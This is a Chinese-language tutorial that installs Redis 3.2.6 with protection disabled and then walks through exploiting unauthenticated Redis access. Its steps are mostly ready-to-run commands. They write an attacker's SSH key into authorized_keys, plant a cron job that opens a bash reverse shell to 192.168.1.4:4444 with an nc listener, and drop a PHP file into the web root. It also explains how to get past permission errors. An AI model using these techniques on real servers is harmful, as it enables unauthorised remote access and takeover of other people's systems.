環境搭建
環境:centos7 gcc
1:下載下傳安裝包
wget http://download.redis.io/releases/redis-3.2.6.tar.gz
2:解壓安裝包到指定檔案
tar zxvf redis-3.2.6.tar.gz -C /usr/local
3:cd /usr/local/redis-3.2.6
4:make 進行編譯
5:cd src && make install
6:export PATH=$PATH: /usr/local/redis-3.2.6/src 添加環境變量
7:cd … &&vim redis.conf 修改protected-mode no使之可遠端登入,修改daemonize yes使之可背景運作,注釋bind 127.0.0.1使之可遠端登入
8:redis-server /usr/local/redis-3.2.6/redis.conf 啟動redis,注意要指定配置檔案
9: redis-cli -h 127.0.0.1 -p 6379 shutdown 關閉redis
以上為預設配置,redis端口為6379,沒有密碼,導緻未授權通路
root使用者啟動利用
1.ssh 密鑰登入
1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /root/.ssh/
這裡設定目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是因為root從來沒有登入過,在被攻擊機執行ssh localhost 即可
(error) ERR Changing directory: Permission denied
說明redis并不是以root啟動的
6. config set dbfilename "authorized_keys"
7. save
退出redis
8. ssh -i id_rsa [email protected]_server 即可登入成功
2.計劃任務反彈shell
1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n"
3. config set dir /var/spool/cron
4. config set dbfilename "root"
5. save
192.168.1.4 開啟監聽
6. nc -l 4444
普通使用者啟動利用
1.ssh 密鑰登入
1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /home/user/.ssh/
這裡設定目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是因為user從來沒有登入過,需要自己建立
6. config set dbfilename "authorized_keys"
7. save
退出redis
8. ssh -i id_rsa [email protected]_server
這裡直接免密登入可能仍會提示要求輸入密碼,檢視被攻擊機的ssh連接配接日志/var/log/secure
Authentication refused: bad ownership or modes for directory /home/sojrs
即被連接配接使用者的目錄權限存在問題,需要手工設定
原因:
sshd為了安全,對屬主的目錄和檔案權限有所要求。如果權限不對,則ssh的免密碼登陸不生效。
使用者目錄權限為 755 或者 700,就是不能是77x,建立者必須為user。
.ssh目錄權限一般為755或者700。
rsa_id.pub 及authorized_keys權限一般為644
rsa_id權限必須為600
總的來說,如果是非root使用者啟動,比較雞肋,需要普通使用者事先配置好免密登入的各項目錄及權限,否則很容易失敗
2.計劃任務反彈shell
1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n"
3. config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied
檢視/var/spool/cron 目錄權限為700,且為root建立
即使該普通使用者具有sudo權限也不行
5. config set dbfilename "root"
6. save
無法利用
Web服務寫馬
1. config set dir /var/www/html/
2. config set dbfilename shell.php
3. set cmd "<?php phpinfo(); ?>"
4. save
web服務寫馬需要知道web的安裝路徑